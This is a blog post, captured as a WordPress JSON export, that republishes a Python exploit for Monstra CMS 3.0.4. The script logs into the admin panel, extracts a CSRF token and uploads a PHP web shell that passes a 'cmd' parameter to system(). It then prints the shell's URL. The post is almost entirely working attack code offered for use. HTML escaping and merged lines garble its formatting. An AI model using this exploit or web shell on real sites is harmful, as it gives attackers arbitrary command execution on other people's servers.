# Exploit Title: Monstra CMS 3.0.4 – Remote Code Execution (RCE)
# Date: 05.05.2024
# Exploit Author: Ahmet \u00dcmit BAYRAM
# Vendor Homepage: https:\/\/monstra.org\/
# Software Link: https:\/\/monstra.org\/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: MacOS<\/p>\n
import requests
import random
import string
import time
import re
import sys<\/p>\n
if len(sys.argv) < 4:
print(“Usage: python3 script.py <url> <username> <password>”)
sys.exit(1)<\/p>\n
base_url = sys.argv[1]username = sys.argv[2]password = sys.argv[3]\n
session = requests.Session()<\/p>\n
login_url = f'{base_url}\/admin\/index.php?id=dashboard’
login_data = {
‘login’: username,
‘password’: password,
‘login_submit’: ‘Log+In’
}<\/p>\n
filename = ”.join(random.choices(string.ascii_lowercase + string.digits, k=
5))<\/p>\n
print(“Logging in…”)
response = session.post(login_url, data=login_data)<\/p>\n
if ‘Dashboard’ in response.text:
print(“Login successful”)
else:
print(“Login failed”)
exit()<\/p>\n
time.sleep(3)<\/p>\n
edit_url = f'{base_url}\/admin\/index.php?id=themes&action=add_chunk’
response = session.get(edit_url) # CSRF token bulmak i\u00e7in edit sayfas\u0131na
eri\u015fim<\/p>\n
token_search = re.search(r’input type=”hidden” id=”csrf” name=”csrf” value=”
(.*?)”‘, response.text)
if token_search:
token = token_search.group(1)
else:
print(“CSRF token could not be found.”)
exit()<\/p>\n
content = ”’
<html>
<body>
<form method=”GET” name=”<?php echo basename($_SERVER[‘PHP_SELF’]); ?>”>
<input type=”TEXT” name=”cmd” autofocus id=”cmd” size=”80″>
<input type=”SUBMIT” value=”Execute”>
<\/form>
<pre>
<?php
if(isset($_GET[‘cmd’]))
{
system($_GET[‘cmd’]);
}
?>
<\/pre>
<\/body>
<\/html>
”’<\/p>\n
edit_data = {
‘csrf’: token,
‘name’: filename,
‘content’: content,
‘add_file’: ‘Save’
}<\/p>\n
print(“Preparing shell…”)
response = session.post(edit_url, data=edit_data)
time.sleep(3)<\/p>\n
if response.status_code == 200:
print(f”Your shell is ready: {base_url}\/public\/themes\/default\/{filename}
.chunk.php”)
else:
print(“Failed to prepare shell.”)<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Monstra CMS 3.0.4 – Remote Code Execution (RCE)# Date: 05.05.2024# Exploit Author: Ahmet \u00dcmit BAYRAM# Vendor Homepage: https:\/\/monstra.org\/# Software Link: https:\/\/monstra.org\/monstra-3.0.4.zip# Version: 3.0.4# Tested on: MacOS import requestsimport randomimport stringimport timeimport reimport sys if len(sys.argv) < 4:print(“Usage: python3 script.py <url> <username> <password>”)sys.exit(1) base_url = sys.argv[1]username = sys.argv[2]password = sys.argv[3] session = requests.Session() …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57231","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57231","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57231"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57231\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57231"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57231"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57231"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}